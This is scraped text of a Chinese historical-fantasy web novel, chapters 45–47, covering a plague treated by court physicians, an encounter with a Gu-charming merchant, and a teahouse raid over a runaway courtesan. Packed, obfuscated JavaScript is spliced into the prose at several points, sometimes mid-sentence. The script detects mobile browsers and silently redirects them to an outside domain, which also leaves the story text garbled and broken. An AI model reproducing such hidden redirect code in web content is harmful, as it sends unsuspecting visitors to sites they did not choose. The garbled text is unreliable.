l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235812|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 突然“吱呀”一声,殿门中间缓缓错开条缝。 “温太医,江枫怎么样了?”介铃问道。 “暂时稳定下了。”温良戴着面罩、手衣,全副武装走出。解释道:“他得的不止是痢疾,而是并发感染了痨病,肺络受损所致的咯血。” “我能进去看看他么?” “病患康复前,任何人不得出入子殿。” 温良面向人群,抬高了音量:“诸位不必惊慌,众博士午时于壬殿召开议会,商讨治理瘟灾之事,不久便会给出一个满意的交代。大家非必要不出京,注意防控即可。” 然后又交代了一些注意事项,众人彼此间心领神会。叶灼有一句没一句听着,视线从他身上掠过,透过缝隙投射进殿。 望眼欲穿地,努力寻找那人。 殿门将阖之际,一道身影踱步而来,在门口同他说了些什么。尽管相隔数丈远,戴着与温太医相同的面罩,叶灼仍一眼认出他来。 “师父……!” 叶无声循声侧目。 视线交错的刹那,两侧门缝收拢,于她的注视下一点点闭合。如同一根线被抽走,隔绝里外,褪尽他的轮廓。 叶灼手心越攥越紧,似乎只要不转身,就能一直守到他再次出现。 “以叶少卿的医术,江师兄很快会好起来的。”卫知瑶轻声道。 叶灼微微点头,望向身侧。 介铃手支着扶在杆上,失了魂般注视着大殿,动也不动一下。 虽说以前时常听他们拌嘴,叶灼心中明白,介师姐其实很在乎江师兄。师兄去岐州这段时日,她面上不承认,可是连笑容都少了许多。 “走吧。”叶灼拍拍她的肩,道:“会好起来的。” 这般劝慰着她,亦是劝慰着自己。 介铃最后望了一眼大殿,满眼不舍地离去。 子殿内,天光自槛窗射入。 江枫嘴唇干裂,双目紧闭,静卧于榻上。手臂自然垂落,一滩血红触目惊心。 “叶少卿,话都带到了。”温良作揖道,“岐州的事,已经通知沈博士另做安排,配备您说的药物,并加派人员前往赈灾。” 叶无声回过眸,眼底的黯然一闪而逝。 “姜慈知晓内情么?”手起针落,刺破肌肤。 “回叶少卿,不知。” 叶无声递来一纸药方,然后道:“你派个人,去西市双茶口,找一家名叫杏林坊的铺子。把这个交给那里的掌柜,别的什么也不用说。” “杏林坊?从未听过有这么间药铺。”温良道,“为何不用咱们尚药局的药?” 叶无声使了个眼色,示意他摊开药方。 只见纸上零零碎碎写了十几种药材。名字大都稀奇古怪,有见过的有没见过的。为数不多知道名字的几种,竟是用于解毒的方剂。 这些药,尚药局根本不可能有。 温良抬眼望着他,持方的粗手剧烈颤抖。后半句他不确信,亦不敢说出。 ——莫非江枫咯血是因为中毒,而非痨病?若真如此,那其他人会不会也…… “过些时日,我会亲自赴往岐州一趟,确认你的猜想。”叶无声淡淡道,“此事悬而未决前,不宜引起恐慌。我离开的消息,还需一个人替我瞒着。” 叶无声顿了顿,余光扫过他。 “令郎的死并非意外,你一直想查清真相不是么?” “叶少卿的意思是……” “我可以给你这个权力。”叶无声落下最后一针,转过身来。 45.入世(五) 太医署,书房内。 桌案上摆满长短不一的毫针、数本医书,还有一只试针用的铜人。 叶灼一手持针,一手拿人偶,时不时对照经络图看两眼。为求在义诊到来前多加精进,她已经这样连续练习十几日,手上身上都被刺得千疮百孔,仍不见停。 为了防止瞌睡,干脆将刘海扎成小揪儿吊在房梁上,效仿古人头悬梁、锥刺骨。 “嘶。”豆大的猩红溢出指尖,划破思绪。 她放下针,将食指放入口中。 不知怎的,最近老是这样心神不宁。 针灸最需要的就是凝神聚气,可这些时日,思绪就好像被打散的算珠一样,如何也无法拼合集中。 望着天花板,叶灼原地躺下,长长叹了口气。 距离师父入子殿已过去半个多月,仍是一点动静没有。 虽说以他的能力,对付一个瘟疫绝不在话下,可哪怕师父再厉害,到底是凡胎俗体,并非百毒不侵。江师兄病得如此严重,师父孤零零地守在那座大殿里,万一出了事怎么办呢? 她突然想,为什么不能快点长大?要是自己成了太医,就有资格进殿辅佐他了,而不是这样白白等着,干着急。 “姑娘,卫小姐来找。”门口晴儿来禀。 叶灼飞快将手缩到背后,起身接应。 突然头皮一紧,忘了小揪揪还系在房梁上,疼得哎哟直叫。 卫知瑶探身进屋,见到她面前七零八落的书卷,又一副泪眼汪汪的样子,冷不丁被逗笑。 摇着头走来,解下叶灼缠住的小揪揪,“这么积极呀,居然在念书?” “马上就要出诊了嘛,多练练总是好的。”叶灼捋着头发丝,瞧着她,“太久没给人治病,手都生了。” 今日的卫知瑶略施粉黛,阳光的影子落在皮肤上,漾起柔和的光圈,与一身湖蓝交领长裙相衬,显得更加清丽动人。 恍然间,才意识到瑶姐姐已然快要十八岁了。 岁月沉淀之下,她的五官完全长开,多了几分庄重沉稳。犹记得初见之时,自己尚需仰着头才能看清她的全貌。而今无需抬眼,视线已与她齐平。 原来自己和她,已经认识这么久了么? “瑶姐姐已经成了大人,什么时候我也能长大呢?”叶灼嘟囔道,不经意竟把想法说了出来。 却听她一面替自己梳着头,一面道:“长大有什么好?我倒巴不得一直做个孩子呢。乐得整日玩耍,愁些芝麻蒜皮点儿大的事。就是人前泼皮,天塌下也有爹娘顶着。” 叶灼望着铜镜里的自己,想着这番话。 是啊,长大有什么好呢? 过去十几年来,自己被师父保护得太好,全然没有几分长进。生活在边境小城里,无所事事却也乐得清闲。直到来了上京,才发觉天地浩浩,自己的力量何其渺小。 不知从什么时候开始,不想再做那个需要师父保护的孩子。 想变得强大,堂堂正正站在他身边;想以一种更光明的姿态,与他并肩而立。 如果不长大,这一切又怎么实现呢? 木梳骤然卡在发间。卫知瑶想起来什么,始觉自己说错了话。 “对不起,我、我不是故意的。” “无妨。”叶灼未经思考便脱口而出。拉回神,问:“瑶姐姐,何故道歉?” “我本无意揭你伤疤。” “什么伤疤?”叶灼反应片刻,懂了她的意思。 “你说我早早没了爹娘这事啊。”叶灼抿了抿嘴,“其实没什么的,我根本不记得他们是谁。虽然说……偶尔也会羡慕别人,可是既不曾拥有,便也谈不上失去啊。” 卫知瑶愣了愣神,有些不明白。她为何能如此云淡风轻地,说出这样的话? 自己生在亲王府,打小锦衣玉食、受尽宠爱,姑且有许多烦恼。倘若打小没了爹娘,人生该是怎样一番苦楚? 她根本,连想都不敢想。 “况且,我有师父不是么?”叶灼歪头一笑。 “一个师父,岂能与爹娘相比?” “瑶姐姐,你有所不知。” 她眸光闪动,“不管是家还是自由,爹娘没给我的一切,都是师父给我的。他是这世上待我最好、最为温柔之人。” 说着,转头看向她。“而且我还有你啊,贪上这么个温柔美丽的瑶姐姐,岂不成了世间最最幸福之人?” 卫知瑶宽慰地笑了笑,刮擦她的鼻头:“你呀。” 恍神的功夫,替她束好了发。 “瞧瞧,这样才齐整嘛。”卫知瑶双手搭在她肩上,十分满意自己的杰作。 粉靥映桃花,铜镜中的叶灼后发高高束起,马尾难得板正一回。水灵灵的杏眼、玲珑小巧的鼻,本该灵气满满的面容,此刻却消沉莫名,呆钝许多。 卫知瑶最见不得她这副样子,于是拉住她的手:“有个好消息要告诉你,你知道了一定会高兴的。” 叶灼歪过脑袋,略带疑惑看着她。“什么?” 卫知瑶稍稍凑近,瞳孔微微一转。 “江枫醒了。” 叶灼先是一愣,瞳孔肉眼可见地明亮起来。回握住她的手:“当真?!” “还能有假?”她道,“不仅如此,子殿里那十名医工都已经好转大半。今晨简博士告诉我的,照这般发展,估摸着不出几日便能出殿了。” 叶灼大喜:“那师父呢?” “待所有病患康复后,叶少卿预计还要留下察看一段时间。不过照目前来看,应是没什么大碍。” “那就好!”叶灼拍掌,“那就好……介师姐知道么?” “她呀,保准是第一个知道的。”卫知瑶目光意味深长,“她在子殿连守了数日,逮着个人便打听,想不知道都难呢。” “那她现在一定很高兴了!” 紧绷的神经总算松懈下,叶灼兴奋极了:“那我们能进去探望江师兄么?” “现在除了家属,其他人还不行。”顿了顿又道,“不过应该也不久了。” 叶灼了然,心中不由得暗暗期许。只要师父平安无事,自己这颗悬着的心便可以放下了。 卫知瑶走到她身旁,“趁着兴头,出去逛逛如何?” “啊?”叶灼张了张嘴,“现在么?” “嗯。咒禁科的业成式马上就到了,试题有调香这一门。” 卫知瑶说着,拉住她的手来回摆晃。“恰好午市开放,你陪我上街选香吧!” 叶灼踌躇半晌,百般纠结地道:“还是算了吧。” 以前说要上街去玩,她从来是最积极那个,最近也不知哪根筋搭错了。卫知瑶瞧着她不解:“为什么?” 叶灼眼巴巴看着身后堆起的那摞书,道:“我要把《四时纪》读到卷四第二百五十页,已经落下很多了。现在出去,今日未必能读完。” “别读了,再读,你都成二百五了!”卫知瑶实在看不下去,拖起她就走。 怎料叶灼死死扒附在桌角上,活像长了吸盘的八爪鱼,如何也扯不下来。 “不要啊,呜呜呜……” 卫知瑶无奈,蹲下身道:“你这几日都着了魔地把自己关在屋里,大门不出二门不迈,再这样下去,人都要发霉了。” “发霉就发霉,业成式我得好好发挥,再不读书就没机会了!” “业成式还远着呢……” “我不管,反正我就是发烂发臭长出蘑菇,也绝不会迈出这屋半步的!” “今日就放松一下嘛,好妹妹。”卫知瑶双手牵起她,“选完香,我请你吃鼎香居的百味羹,如何?” 百味羹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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也不知他们现在过得如何。一定,也很想念自己吧。 走走停停,卫知瑶的目光停落在一处摊前。各式各样的香粉摆于绒布之上,每个都用精巧的鎏金香盒盛放,闪着耀眼的金属光泽。 头一回见摆成小摊卖的香,卫知瑶觉得新奇,拣起一个闻。 末了递给叶灼,道:“你闻闻这个。” 乌金色的掐丝珐琅小盒,几种不知名香料,带着淡淡的柑橘气息。 闭上眼,脑海浮现的是花朵芬芳,草木清新;是新芽萌发的春,是奔于乡野间的童年。世间一切美好,仿佛都蕴藏在这香气之中。 “这叫荼芜香,产自波弋国,能使朽木腐草皆香。闻起来淡,后调却足,存于香囊亦能几月不散。” 二人闻声抬头,此时方才看清摊主的相貌。 绿宝石一样的眼,挂着勾人的笑意。杏色长发蓬松地翘起,几条穗辫悠悠垂在胸前,活像小蛇的尾巴。 卫知瑶盯着他好一会儿,悄声附在叶灼耳边:“你觉不觉得这人有点眼熟?” “有么?” “你再仔细瞧瞧。”卫知瑶道,“他的眼睛,不觉得在哪儿见过么?” 叶灼放下香盒,循目光看去。 那双瞳眸绿出一汪春水来,笑起来却没有丁点儿暖意。更像是早春山涧深处的幽寒,蛊惑地直要将人吸进其中。 线条不似胡人那样有棱有角,却又不同于汉人的平直柔润。 “好像……是有那么点印象。”可是在哪儿见过呢? 杏发男子身形轻晃,两只耳坠流苏摇曳,光芒四溢。 “姑娘,要买香么?” 46.入世(六) 卫知瑶望着他半晌,倏尔想起什么。 往袖袋里捣鼓了一阵,揣出一只赤色面具,递到男子面前。 “这个是不是你的?” 叶灼这时也想起来,原来他是两年前盂兰盆节上,表演傩戏的开山神。 当时她与瑶姐姐同游庙会,开山神的面具掉了。那双绿瞳实在太过标致夺目,仅回首一瞥,惊艳众生。 杏发男子端详一阵,笑眯眯地点头。“怎么会在你这儿?” “我保管了两年,一直随身带着。”卫知瑶道,将傩面交还给他。“想不到在这里能遇到你。你不是演傩戏的巫觋么,怎的却卖起香来了?” “巫觋?”他轻笑两声,腰间银链晃动,叮当作响。“头一回听见这样的称呼。姑娘过誉了,我并非什么巫觋。” “那你为何会出现在傩戏班子里呢?” “不过是初到上京时,见傩戏新奇,又有钱挣,过去打零工凑了凑热闹。”他耸了耸肩,“不过还是多谢姑娘保管了。作为回谢,姑娘需要什么香?” 卫知瑶拾起适才的荼芜香,“这个不错。多少银子?” “说是谢礼,自然不收姑娘银子。” “出来做生意,哪儿有分文不取的道理。”卫知瑶将香盒放下,掏起了荷包。 “姑娘若执意要给,请拿别的东西来换。”男子含笑半眯的眸微微睁开。“你身上的任何一样东西都可以。” “我身上的东西?”卫知瑶愣了愣,取出头上的蓝羽发簪,“这个行不行?” 杏发男子饶有兴致地接过。 打量片刻,取下连带的两根长发。将发簪还给她,道:“这个就可以。” “头发?”二人异口同声。 “头发又不值钱,你这人好生奇怪。” “我说了,是你‘身上’的任何一样东西。”杏发男子将头发丢给肩上的蝶形小虫,慵懒道:“你的灵香,它喜欢。” “这是……” 循视线看去,那小虫长有一双不规则的翅膀,上密布有鲜艳绮丽的花纹,有如数十只诡异的眼睛,触角呈丝状分岔。像是蝴蝶,可是没见过蝴蝶有这样蓬松的绒毛。 小虫伸出口器,将发丝啃成锯齿状。 “哇,好大的扑棱蛾子!”叶灼惊道。 那小虫却有脾气般,冷不丁飞过来啃她一口。叶灼应激缩回手指,好在不太疼,和被蚂蚁咬差不多。 “这蛾子怎么还咬人啊?” “蝶儿不喜欢别人叫它扑棱蛾子。” 男子摸摸小虫的脑袋,“不过你放心,它没有毒性。” 叶灼捂着手指头躲远了些,虫子还能听得懂人话?怪了怪了。 “这是……蛊虫?”卫知瑶想起课本上的图画。 “不错。”男子轻点小虫的脑门,“它叫蝶儿。是专以灵气为食的蛊,不害人。” 吃饱喝足,蝶儿满足地将脑袋扬起,往他手心里蹭了蹭。 这还是叶灼第一次见到活生生的蛊虫。 和一般的虫子也没有什么区别。她心想,如果不是刚刚那一口,它撒娇的样子甚至有点儿可爱。 “你是南师国人?” 他点了点头,“我叫陶诚,是南师国来的商人。” 南师这个国家,史书上仅一笔带过。相传南蛮多善蛊者,因为有西南密林阻隔,国土封闭,历来不参与兵家之争。 “我们来做个交易如何?”陶诚笑着对卫知瑶道,“你身上有我想要的东西,乃是这世间独一无二的至纯之灵。把你的灵给我一些,我这铺子里的香,你全都可以拿走。” 卫知瑶退后两步,警惕地看着他。 “什么是灵啊?”叶灼好奇地问。 “灵,可以理解为你们中原人所说的‘炁’。”他道,“伴天地而生,受日月精华滋养。不管是人还是动物,只要是活物,世间万物都有灵。” “那你刚刚说的……至纯之灵,这又是什么?” “灵本纯净,然而随着年岁增长,人心开始有了执念。贪、嗔、痴、恨、爱、恶、欲,这些都能污染灵气。成人之中,至纯至性的灵,乃是世间罕有之物。” “比宝石还珍贵么?” “当然。”陶诚道,“得至纯之灵一滴精血,喂给蛊虫,可令蛊术效力大大增强。” “可我听说,巫蛊不都是害人的邪物么?” “蛊也分善恶,用途千百万种,关键要看主人如何。人心有了恶念,即便不用蛊,害人的方法也多着。” 这样邪门的术法,叶灼只在话本子看到过,没想到现实也存在。 中原以南,森林密布,蛇虫巫蛊横行……南师到底是一个什么样的国家呢? “好了,小孩,你问的够多了。”陶诚双手环臂,“再问就要收费了。” “那、那我买你一瓶香粉,你看看我的灵吧!”叶灼来了兴致,禁不住蹦跶,“我的灵如何?” “你的灵,嗯……”陶诚绕着她转了一圈,“不错。不过野心较重,还不是至纯之灵。” 叶灼疑惑看着他:“我能有什么野心呀,我还是个孩子呢。” “灵未成熟之时,自是看不出什么。你的灵,和我见过的一些王公贵胄相似……”他沉声道,突然打个响指。 “姑娘,你有帝王之相啊!” “啊?”叶灼咂了咂嘴,“你还会算命啊。” “品质虽略逊一筹,倒也能卖个好价钱。不如和我交易?” 几根头发就能卖钱,叶灼自然再乐意不过,上赶着就要答应。刚迈开半步,突然间背后受力,脚尖离了地。 “这瓶香我拿走了。”卫知瑶拎小鸡崽似地将她拎起,“多谢馈赠,交易我们就不做了。” “哎,别走呀!” 两人一溜烟儿窜没了影,陶诚远远留客:“我是正规经营,有铺子的!姑娘如有需要,可以到双茶口的杏林坊找我!” “我给你打折啊!” 抬起的手缓缓落下。望着她们离开的方向,笑容不减。 “无妨,我们还会再见的。” 那只手将她拖出十里开外,到了桥边,终于松开后领。 “瑶姐姐,你这是做什么?”叶灼小跑一路,鞋底都要磨出火星,略感遗憾道:“交易还没做成呢……” “那人满口江湖话术,又摆弄巫蛊这等邪物,八成是个骗子。”卫知瑶点点她额头,“你要信了他,那才是真傻呢。” “不会吧?”叶灼挠头道,“他还送你东西呢。而且他说的什么灵,看不见摸不着的。吃我两根头发,也不会掉块肉啊。” 她凑近了些,脸愈发沉下:“南师这个国家极其邪门,多的是养蛊炼蛊的蛊道师。这个行业,神不知鬼不觉便能将人如傀儡般操控于指尖。稍有不慎,怎么死的都不知道!” 叶灼不由得打了个寒战。巫蛊之术,竟然是这么吓人的东西么? “保不准呐,这香就是用来钓你上钩的。” 卫知瑶将香盒掂量了下,“反正,离那奸商远点,少靠近这些鬼蜮伎俩就是。” “唔,好吧。” 天色渐晚,两人到清茗居吃茶听书。 初到上京时来过一回,叶灼久久没能忘记那一口滋味。又因为常给卫明川递信,很快成了常客。连掌柜到后厨,都与她混了个面熟。 “叶姑娘,今日想吃什么?” 两人选了个好位置坐下,“有什么新品吗?” “端阳将近,最近的蜜水冰渍砂糖粽、艾草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277800|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团、桂花圆子都广受好评。” “好,就要这些。” 台上说书人口沫横飞,讲到先帝与先皇后收复中原的事迹。 “话说景和十六年,先帝与武昭皇后四处征战。武昭皇后名为谢岑桉,乃大容第一位女将军,出自军武世家,上天入地无所不能,可谓是一名举世无双的奇女子——” “上天入地无所不能,真有这么神?” “那是自然!”说书人将扇一合,“先帝出征之时,两人在军营中相识相知,平定无数大小叛乱,立志收复中原,造就一段神仙佳话……” “武昭皇后的确是个奇女子。” 卫知瑶应和道,“当年她和先帝率军南征,一把长枪突破重围,歼灭敌军十万铁骑。行过之处,百姓无不出城迎接,顶礼膜拜。” “这么厉害?” 卫知瑶点了点头,“父亲正是在那时候与他们结识的。据父亲所言,他们二人乃是真正的乱世英雄。” 叶灼咂舌。这个故事她已经听到三个版本了,正史写先帝与当今圣上同征,《容国秘史》写与黎亲王同征,现在又来个与先皇后同征……到底哪个是真的? “两位的桂花圆子、艾草团,还有砂糖粽。”秦三娘端放下碗,笑意盈盈。 “请慢用。” 蜜水渍的砂糖粽,“啊唔”化进口中。弹牙的表皮裹上香甜的内馅,丝丝清凉漫过舌尖。 叶灼扶着腮帮子一脸满足,甜汤配蜜粽,吃茶看戏,好不快活! “彼时京师动乱,北部告急。兵力稀缺之时,身子尚虚的武昭后挺身而出,上阵杀敌,打得康居铁骑是弃甲投戈,望风披靡!” 台下欢呼一片。 “后来,您猜怎么着?” 茶客们心都吊到嗓子眼里:“怎么着?” “后来……也正因这一举,她命丧敌军之手。”说书人叹了口气,到此掩扇半遮面,语调愈发激昂。 “大捷不久,武昭后因风寒落下病根,于暗营调养。谁知那康居蛮子狡猾无比,溃逃时趁夜袭营。连带那名刚满周岁的长公主,母女二人,永远倒在阳明关外的皑皑白雪之中!” 看客们声泪俱下,蜜粽“啪嗒”一声掉进碗里。 “呜呜呜,太感人了!” 卫知瑶夹一块糕饼喂给她:“你呀,就是太感性了。快吃吧!” “这是清茗居独创的话本。”秦三娘经过,笑得淡然,“经由史料改编,世间绝无仅有。” “我在古川从没听过这样精彩的评书。武昭后真是太惨了,神武帝也惨,他们女儿更惨!那么小便没了双亲,还没来得及好好看这个世界,就一命呜呼了。” “没有他们,便没有今天的大容。”卫知瑶道,“百姓不会忘记他们的功绩,他们亦会永存于后人心中。” 叶灼久久未能缓过劲。不一会儿将碗底扫了个精光,“三娘姐姐,此次西北时疫,凉州情况如何?” 之前她给卫明川寄去过几封信,大体是些慰问语句,他基本每封都会回。最近却不知怎的没了动静,怪叫人担忧的。 “卫公子近来忙于地方治理,应是搁置下了。”秦三娘拾掇碗筷,道:“西北二州地广人稀,凉州虽毗邻岐州,与瘟灾发源地间尚有些距离,受灾不甚严重。若有消息,我会第一时间通知你。” “原是这般,那我就放心了。” 这时候楼下传来“砰”一声响,茶客们纷纷望向门口。 十几名黄马褂大步流星走进,皂靴踩在地上咯吱作响。他们手戴护腕、腰佩长刀,凶相毕露,执的又是钝刀麻绳。板着张冷脸,扫视四周。 “官府拿人,闲杂人等自行避让!” 这熟悉的台词……叶灼揉了揉眼睛,怎么又是上次那帮衙役啊? 47.入世(七) 为首班头大手一挥:“给我搜!” 评书声戛然而止。几队人马齐刷刷涌向戏台。 “咣当!” 茶碗摔了个粉碎,汤水倾洒而出,溅了一地。周围的茶客从没见过这等阵仗,纷纷吓得扔杯流窜。 黄马褂的皂隶一把掀翻木桌,桌腿“咔”一声断裂。说书人将折扇一丢,猫腰瑟缩着躲进台底。 “仔细着搜!一个角落都不许放过!” 出口被更多衙役堵得水泄不通,现场乱作一锅粥。托底的黄马褂跨步至门前,截下人流。厉声道:“今日若搜不出逃奴,在场的一个都别想逃脱干系!” 珠帘被撞得哗哗响,卫知瑶担忧起身:“怎么回事?” 叶灼尚不明就里。正感慨京城治安怎的也如此之乱,回首张望,却见秦三娘不见了踪影。 刀柄斜身飞过,“咔”一声落于木桩。后面伙计两眼一翻就要晕。 “叫你们掌柜的出来。” 那班头额间横着刀疤,手背青筋暴起。伙计吓得脸都白了,“掌柜在、在……” “几位官爷好大阵仗。”秦三娘扶着雕栏,挪着小步款款而下,“光临我这小肆,不知是来吃茶的,还是……” 她拉长尾调,往那翻倒的茶桌一扫,“砸店来了?” “你就是掌柜的?”他拿出一筒卷轴,丢给身边小吏。 “有人检举清茗居窝藏逃奴,我等找水月姑娘,还不速速拿人出来!” “逃奴?”秦三娘笑着摇头,“几位官爷,怕是有什么误会。我们这里就是个茶坊,可不是难民栖流所,没有什么水月姑娘。” “呸!你个婆娘撒谎不带打草稿!” 小吏将卷轴往地上一扔,毫不客气道:“昨儿夜里有人蹲点,还看到她来着。画像在此,你自个儿认认去!” 那卷轴在空中划出道优美的弧线。摊开之际,忽见一身影飞身而起。 几道寒光下去,卷轴碎成千百万片。 衙役们退避后方,男子执剑落了地,碎絮漫天扬落,像是场鹅毛大雪。白刃穿透一片,直指头目跟前。 “你是何人?胆敢妨碍衙门公务,不要命了?!” “我看是你们不要命了。”他将剑锋对准几分,“既是受命拿人,抓捕令何在?” 那班头抽出长刀应对,冷汗直冒:“我等奉岐州府衙张大人之命,临时接管逃奴,有你什么事!” “这里是上京,没有抓捕令,算哪门子杂役!”说话间拔剑相向。 剑影疾如风迅如雷,磨得刀身火星四溅。但见他一身苍蓝色便衣,后发高绾、宽肩窄腰,身板是个大块头,比石墙还要结实。也不知哪儿来的英雄好汉,叶灼往外探了探脑袋,企图看个清楚。 身旁的卫知瑶拍桌跳起:“邱山?!” 邱山闻声抬头,与她打个照面。衙役乘隙抄起棍棒砸来,声未及剑先动,“咔”一声将棍棒断成两截。 此人原是屯骑校尉,北军五营校尉之一,曾属卫明川麾下。前年盂兰盆节上见过,叶灼有些印象。 钝刀虽然招招接下,却显得笨重勉强。班头连退好几步,这时只听楼上传来句:“住手!” 众人循声举目。掠过圆环状的阁楼,停落于三层拐角边。 凭栏边,轻风携起女子的衣带,三千青丝徐徐曳动。 褪去面纱,那是一张怎样颠倒众生的脸。 清眸流盼、柳眉生烟,肤如凝脂玉、鬓若秋蝉翼。举手投足间,宛若天仙拨彩云,美得出尘,美得惊心动魄。 叶灼甩了甩头,惊呼出声:“子钦姐姐!” 无数道惊诧的目光中,琴子钦踱步下楼,与邱山擦肩而过。 小吏另拿一筒卷轴,稍作比对后道:“头儿,是她不错。” “你就是水月姑娘?”班头微眯起眼。 琴子钦不予理会,淡漠道:“我可以跟你们回去。但,我有个条件。” “好个模样标致的小娘子。”那班头果是色心发作,伸手欲挑她的下巴,“什么条件,你尽管开,只要肯陪爷们儿喝几盅……” “想带她走,先过我这关再说!”长剑劈来,血花喷薄而出。 叶灼吓得捂眼。耐不住实在太过精彩,透过指缝接着观战。 望着血淋淋的手指头,班头将大刀一丢:“娘嘞,不玩了!我不玩了!” 小吏执铁尺挡剑:“头儿闪开,让我来!” 利剑横轧直逼眼前。铁尺很快架不住攻势,弯成新月状的拱形。 数十回合过招下来,那帮衙役压根不是他的对手,终于被打得落花流水,跪地求饶。 “大侠,行行好,放过我们吧!” 邱山已是杀红了眼,就要挥剑,秦三娘忙拖住他臂弯:“在我清茗居舞刀弄枪,是想砸了我招牌不成?” “可是他们——” “让我来。”秦三娘瞥了瞥身侧。 邱山眼神狠戾扫过地上那伙人,冷哼一声收剑。 见事态平息,卫知瑶几步下楼。秉着看热闹的心理,叶灼也跟了下去。 “卫小姐。”邱山拱手行礼。 她嗔怪瞧他一眼,道:“一会儿再和我解释。”秦三娘上前。 那帮衙役头都要磕烂了,秦三娘道:“琴姑娘是我请来的医工,没有抓捕令,你们为何强抢民女?” “民女?青天大老爷呦,她哪儿是什么民女!”班头呼呼吹着手指,旁边小吏帮忙包扎,“她她她,她不过是个伎子罢了!” 邱山闻言震怒:“你说什么,你——” “大侠,我都成这样了,何苦骗你呢?”班头指指自己肿得不成人样的脸,给小吏使了个眼色。 跪在地上的小差忙不迭翻找袖袋,拿出封什么来。“喏,卖身契还在这儿呢!” 秦三娘拾起一看,脸色骤变。 余下几人不约而同望向琴子钦,却见她瘫软在地,双眸此刻成了一潭死水。 “这个姓琴的姑娘乃是奴籍,又与极乐坊签了卖身契。我等只是受人之托,奉命行事罢了。何苦为难几个衙役呀!” “极乐坊,那是什么地方?”卫知瑶发问。 “好像……是岐州最大的花楼。”叶灼点着下巴想,“寻欢作乐之地,我也只是略有耳闻,并未亲身去过。” “寻欢作乐的只有权贵!”琴子钦胸口剧烈起伏,“对我们这样的人来说,极乐坊,是草菅人命的炼狱!” 秦三娘愁眉莫展,诘问道:“琴姑娘,这是怎么回事?” 琴子钦紧抿着下唇,一言不发。 “你只同我说过,你父因故获罪,我怜你流落民间、孤苦无依,又因一手精湛琴艺,方才收你为徒、留你在清茗居。”秦三娘俯身平视她,“可你为何要撒谎,隐瞒奴籍的身份?” “……” “既如此,”秦三娘叹了口气,“一诺千金,还请几位官爷,将她带回去吧。” “三娘!”邱山哀声劝阻。 未及几人反应,琴子钦“扑通”一声跪下。 “水月是极乐坊坊主赐我的名字,我并非自由身,这点的确是我骗了大家。可除却此事,其余所言,句句为真!” “你知不知道,这样做会害惨多少人?”秦三娘凝重道。 “对不起,师傅。对不起……”响头一个接一个而来,额间点点殷红渗出,望之令人揪心。 邱山欲要上前,被一股蛮力扯住衣襟。 “跟我来。”卫知瑶使了个眼色,“我有话问你。” 邱山咬咬牙,随她出了屋。 “我此行的确为逃难而来,至于隐瞒身份,实在是为寻个落脚点,不得已而为之。未料想造成如今的局面,子钦自知有罪,只求不累及他人。” 场下一片唏嘘,茶客们指指点点,有怜悯其境遇的,有唾骂其不守规矩的,有对衙役怒目而视的。 多数人得知其自岐州而来,都生怕其染病,躲瘟神一样躲着。 “大家不要担心,琴姑娘先前找大夫诊过脉,没有异象。且不论她的身份,出逃许是有什么苦衷。”叶灼左顾右盼一阵,招呼伙计们施以抚恤。 “这顿就算秦掌柜请大家的,有招待不周之处,还请诸位见谅……” 众人见说请客,松了口,接连散去。 袖口被揪了揪,秦三娘眉心轻蹙。 “三娘姐姐,差不多得了。”叶灼捏了把汗,“这样下去,怕是要磕坏了她……” “子钦在此,谢过师父这段时日的照拂之恩。”琴子钦含泪起身,对身后衙役道:“不必多言了,我跟你们走。” “这还差不多。” 小吏上前作势一铐,“交差!” “等等。” 为首班头被打得怕了,僵硬回过头,满脸惊恐:“做什么?” “她赎身要费多少银子?”秦三娘问。 “整……整二千两。” 似是下了极大决心,秦三娘遣一名伙计至里屋。少顷,递来封黄皮信笺。 “将卖身契留下,带着这封字据回去,让主家开具放良文书。余下的,以此地契作担保,慢慢还清就是。” “是、是……” 几人皆是不可置信望向她,琴子钦吓得腿一软,又跪了下来。 “好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297343|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”秦三娘扶起她,“我既许你留下,又怎可半途弃你。” “师傅!这怎么可以——” “我从未想过把你交给他们。”秦三娘摇头道,“你可知我气你什么?” “是子钦因一己之私置您于两难,辱了您门面?” “不对。”秦三娘道,“打从一开始,你便该将实情告知于我,而不是企图隐瞒。” 琴子钦怔了半晌。 抬头却见茶客已被疏散,周身女眷目光热切,向自己伸出手。 “自古以来,勾栏瓦肆之地,从来是自愿者寡,命囚者多。” 叶灼朗声道,“子钦姐姐,你若有什么苦衷,只管说出来便是。三娘姐姐最是怜惜女子,她会理解你的。” “这所清茗居,恰是为此而开设。”卫知瑶自门外走入。行过之处,数十名女伙计来回奔忙,相互微笑致意。 才须臾的功夫,地上茶汤被扫了个干净,座椅各自归位。席间井然有序、焕然一新。 “这些女娘,最开始都和你一样。” 